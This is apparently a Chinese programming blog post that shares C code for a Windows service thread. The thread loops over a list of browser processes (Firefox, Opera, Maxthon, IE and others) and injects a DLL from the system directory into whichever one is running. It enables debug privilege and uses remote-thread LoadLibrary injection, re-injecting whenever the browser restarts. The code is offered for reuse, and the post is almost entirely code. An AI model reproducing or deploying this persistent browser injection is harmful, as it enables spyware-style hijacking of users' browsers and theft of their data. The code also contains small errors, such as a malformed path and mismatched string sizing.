一种循环注入的思路

作者在写注入程序时遇到挂在explorer上不能运行等问题,为解决此设计了一段代码。代码通过循环查找指定浏览器进程,将dll文件注入进程,确保挂接的dll文件不会因进程终止而卸载。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

我在写注入程序的时候,偶尔遇见过一些邪门儿的问题,比如挂在explorer上面不能运行,挂在其他的进程上面却很正常,为了能尽快地解决问题。我就犯懒设计了这个东西。因此也就不用怕由于进程的终止而导致dll文件的卸载:

DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
 DWORD dwThreadID,pID,pPriID;
 void *pRemoteThread;
 HANDLE hProcess,hThread;
 char pszLibFileName[MAX_PATH];
 GetSystemDirectory(pszLibFileName,MAX_PATH);
 strcat(pszLibFileName,"//library.dll");
 int cb = (1 + lstrlenA(pszLibFileName)) * sizeof(WCHAR);
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
    GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
 EnableDebugPriv();
/*
maxthon.exe
firefox.exe
opera.exe
ttraveler.exe
*/
 char *szBrowserName[5]=
 {
  "maxthon.exe",
  "firefox.exe",
  "opera.exe",
  "ttraveler.exe",
  "iexplore.exe"
 };
 do
 {
  for(int i=0;i<5;i++)
  {
   pID = GetPidByName(szBrowserName[i]);
   if(pID != 0)
    i = 5;
  }

  if(pID == 0)
  {
   hThread = NULL;
  }
  else if((pID != 0)&&(hThread == NULL))
  {
   pPriID = pID;

   hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);

   if(!hProcess)
    return 0;
 
   pRemoteThread = VirtualAllocEx(hProcess,
           NULL,
           cb,
           MEM_COMMIT | MEM_RESERVE,
           PAGE_EXECUTE_READWRITE);
   if(!pRemoteThread)
    return 0;

   if(!WriteProcessMemory(hProcess, pRemoteThread,
    (PVOID)pszLibFileName,
    cb,
    0))
    return 0;

   
   hThread = CreateRemoteThread(hProcess ,
          NULL,
          0,
          pfnStartAddr,
          pRemoteThread,
          0,
          &dwThreadID);

   CloseHandle(hProcess);
  }
  else if((pID != 0)&&(hThread != NULL)&&(pPriID!=pID))
   hThread = NULL;
  Sleep(100);
 }
 while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED);
 return 0;
}

这种模式能确保挂接的dll文件不会因为进程终止而卸载

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值